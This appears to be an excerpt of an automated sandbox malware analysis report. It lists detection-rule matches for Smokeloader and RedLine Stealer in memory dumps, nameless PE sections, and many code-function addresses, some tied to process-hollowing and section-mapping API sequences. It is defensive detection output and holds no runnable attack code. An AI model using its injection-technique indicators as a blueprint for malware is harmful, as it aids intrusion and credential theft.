Source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000030.00000002.2424289837.000000000088D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000018.00000002.2197640676.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: 8FEE.exe.1.dr	Static PE information: section name:
Source: 8FEE.exe.1.dr	Static PE information: section name:
Source: 8FEE.exe.1.dr	Static PE information: section name:

PE file has nameless sections

Source: is-UQIIU.tmp.34.dr	Static PE information: section name:
Source: is-UQIIU.tmp.34.dr	Static PE information: section name:
Source: is-VBAIR.tmp.34.dr	Static PE information: section name:
Source: is-VBAIR.tmp.34.dr	Static PE information: section name:
Source: is-TL5BN.tmp.34.dr	Static PE information: section name:
Source: is-TL5BN.tmp.34.dr	Static PE information: section name:
Source: is-FM16A.tmp.34.dr	Static PE information: section name:
Source: is-6F22E.tmp.34.dr	Static PE information: section name:
Source: is-6F22E.tmp.34.dr	Static PE information: section name:
Source: is-8IR3C.tmp.34.dr	Static PE information: section name:
Source: is-8IR3C.tmp.34.dr	Static PE information: section name:
Source: is-H37D9.tmp.34.dr	Static PE information: section name:
Source: is-PLOP5.tmp.34.dr	Static PE information: section name:
Source: is-PLOP5.tmp.34.dr	Static PE information: section name:
Source: is-PLOP5.tmp.34.dr	Static PE information: section name:
Source: is-CNQNP.tmp.34.dr	Static PE information: section name:
Source: is-CNQNP.tmp.34.dr	Static PE information: section name:
Source: is-N8411.tmp.34.dr	Static PE information: section name:
Source: is-N8411.tmp.34.dr	Static PE information: section name:
Source: is-N8411.tmp.34.dr	Static PE information: section name:
Source: is-NFO0I.tmp.34.dr	Static PE information: section name:
Source: is-NFO0I.tmp.34.dr	Static PE information: section name:
Source: is-TTVKI.tmp.34.dr	Static PE information: section name:
Source: is-TTVKI.tmp.34.dr	Static PE information: section name:
Source: is-MC07M.tmp.34.dr	Static PE information: section name:
Source: is-MC07M.tmp.34.dr	Static PE information: section name:
Source: is-MC07M.tmp.34.dr	Static PE information: section name:
Source: is-7BFJI.tmp.34.dr	Static PE information: section name:
Source: is-7BFJI.tmp.34.dr	Static PE information: section name:
Source: is-CJTE7.tmp.34.dr	Static PE information: section name:
Source: is-CJTE7.tmp.34.dr	Static PE information: section name:
Source: is-CJTE7.tmp.34.dr	Static PE information: section name:

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00401590 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401590
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_004015CB LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015CB
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_0040159B LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159B
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_004015B0 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015B0
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_004015BC LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015BC
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_00401590 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401590
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_004015CB LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_004015CB
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_0040159B LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_0040159B
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_004015B0 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_004015B0
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_004015BC LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_02830110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	6_2_02830110
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006E6E10 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_006E6E10
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070B300 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070B300
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070B500 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070B500
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070B6F0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070B6F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070C210 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070C210
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070C3C0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070C3C0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070C810 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070C810
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_007008A0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_007008A0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070C9F0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070C9F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00702C30 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_00702C30
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00702DD0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_00702DD0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703020 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_00703020
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703310 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_00703310
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EF390 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_006EF390
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_007034F0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_007034F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_007036C0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_007036C0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_007038C0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_007038C0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070B960 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070B960
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F9940 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_006F9940
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F3AC0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_006F3AC0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703AA0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_00703AA0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F9B20 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_006F9B20
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070BCD0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070BCD0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00703C80 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_00703C80
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070BE90 NtAllocateVirtualMemory,NtFreeVirtualMemory,	8_2_0070BE90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6A870 NtCreateThreadEx,	11_2_04D6A870

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_eeihmt03.dzd.ps1

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_0040DD4B	0_2_0040DD4B
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_0040DD4B	3_2_0040DD4B
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0040F000	8_2_0040F000
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0040F210	8_2_0040F210
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006D0110	8_2_006D0110
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006D0830	8_2_006D0830
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006E6E10	8_2_006E6E10
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006D12F0	8_2_006D12F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CF7D0	8_2_006CF7D0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EA0A9	8_2_006EA0A9
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006B4080	8_2_006B4080
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006D23E0	8_2_006D23E0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F2428	8_2_006F2428
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CC4D0	8_2_006CC4D0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CA4D0	8_2_006CA4D0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C25B0	8_2_006C25B0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C0670	8_2_006C0670
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F2672	8_2_006F2672
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00700650	8_2_00700650
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EE68F	8_2_006EE68F
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_0070C9F0	8_2_0070C9F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EEB19	8_2_006EEB19
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C2C40	8_2_006C2C40
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00700F3B	8_2_00700F3B
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006E8D04	8_2_006E8D04
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CADA0	8_2_006CADA0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C0E40	8_2_006C0E40
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00700F3B	8_2_00700F3B
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006B6ED0	8_2_006B6ED0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00700F3B	8_2_00700F3B
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CCFB0	8_2_006CCFB0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006B2F80	8_2_006B2F80
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F5056	8_2_006F5056
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C30F0	8_2_006C30F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EB140	8_2_006EB140
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F1241	8_2_006F1241
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F3288	8_2_006F3288
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F5352	8_2_006F5352
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006E9607	8_2_006E9607
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C36F0	8_2_006C36F0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CD690	8_2_006CD690
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006B1730	8_2_006B1730
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CB780	8_2_006CB780
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EF8F2	8_2_006EF8F2
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F7931	8_2_006F7931
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006D1910	8_2_006D1910
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F1990	8_2_006F1990
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006C9A30	8_2_006C9A30
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006EBADD	8_2_006EBADD
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006BFBB0	8_2_006BFBB0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F7C60	8_2_006F7C60
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F9CC0	8_2_006F9CC0
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F5D24	8_2_006F5D24
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006CBD80	8_2_006CBD80
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F3EED	8_2_006F3EED
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006F1F50	8_2_006F1F50
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C3165C	11_2_04C3165C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C31000	11_2_04C31000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C321C8	11_2_04C321C8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C31D48	11_2_04C31D48
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C34A10	11_2_04C34A10
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C3285C	11_2_04C3285C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04C33FEC	11_2_04C33FEC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D619C0	11_2_04D619C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6AC76	11_2_04D6AC76
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6A870	11_2_04D6A870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D61260	11_2_04D61260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6BF09	11_2_04D6BF09
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6AEB0	11_2_04D6AEB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D64038	11_2_04D64038
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6BAD0	11_2_04D6BAD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6B6E0	11_2_04D6B6E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D6C0B0	11_2_04D6C0B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_04D64520	11_2_04D64520
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_03840848	12_2_03840848
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_03841B68	12_2_03841B68
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_03840838	12_2_03840838
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_03841B58	12_2_03841B58
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038CF3E9	12_2_038CF3E9
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038CD318	12_2_038CD318
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C0040	12_2_038C0040
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038CC7F8	12_2_038CC7F8
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C2600	12_2_038C2600
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038CAD28	12_2_038CAD28
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C9280	12_2_038C9280
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C9290	12_2_038C9290
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C0007	12_2_038C0007
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C1018	12_2_038C1018
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038CB472	12_2_038CB472
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C1A50	12_2_038C1A50
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038C09E0	12_2_038C09E0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00417040	13_2_00417040
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00401000	13_2_00401000
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00425810	13_2_00425810
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042A020	13_2_0042A020
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00446880	13_2_00446880
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00444150	13_2_00444150
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0045490D	13_2_0045490D
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00447110	13_2_00447110
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004031F0	13_2_004031F0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00443980	13_2_00443980
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004419A0	13_2_004419A0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004071B0	13_2_004071B0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042A1B0	13_2_0042A1B0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00428270	13_2_00428270
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0044FA7B	13_2_0044FA7B
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042FA20	13_2_0042FA20
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040D2F0	13_2_0040D2F0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040B2A0	13_2_0040B2A0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00442B50	13_2_00442B50
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040DBE0	13_2_0040DBE0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042B380	13_2_0042B380
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00404B90	13_2_00404B90
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00429390	13_2_00429390
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042AB90	13_2_0042AB90
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00450BA3	13_2_00450BA3
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00461C67	13_2_00461C67
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042BC60	13_2_0042BC60
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00428420	13_2_00428420
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00405430	13_2_00405430
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00428CD0	13_2_00428CD0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004424D0	13_2_004424D0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042A490	13_2_0042A490
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004474B0	13_2_004474B0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00461D1F	13_2_00461D1F
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042D5C0	13_2_0042D5C0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040B5F0	13_2_0040B5F0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00446DA0	13_2_00446DA0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042E5B0	13_2_0042E5B0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00426E50	13_2_00426E50
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00442E60	13_2_00442E60
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00443600	13_2_00443600
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00464E1C	13_2_00464E1C
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040D630	13_2_0040D630
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040A6D0	13_2_0040A6D0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004066D0	13_2_004066D0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00402680	13_2_00402680
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004076B0	13_2_004076B0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0042C740	13_2_0042C740
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0045FF6E	13_2_0045FF6E
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0040CF00	13_2_0040CF00
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0044AF10	13_2_0044AF10
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004047E0	13_2_004047E0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00448FF0	13_2_00448FF0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004487A0	13_2_004487A0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00453FA0	13_2_00453FA0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004437B0	13_2_004437B0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B470B7	13_2_00B470B7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2D897	13_2_00B2D897
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B85083	13_2_00B85083
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B228E7	13_2_00B228E7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B630C7	13_2_00B630C7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4D827	13_2_00B4D827
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4E817	13_2_00B4E817
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B67007	13_2_00B67007
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B63867	13_2_00B63867
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2B857	13_2_00B2B857
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4C9A7	13_2_00B4C9A7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2A937	13_2_00B2A937
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B26937	13_2_00B26937
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B27917	13_2_00B27917
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B6B177	13_2_00B6B177
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2D167	13_2_00B2D167
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B372A7	13_2_00B372A7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4A287	13_2_00B4A287
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B66AE7	13_2_00B66AE7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B63A17	13_2_00B63A17
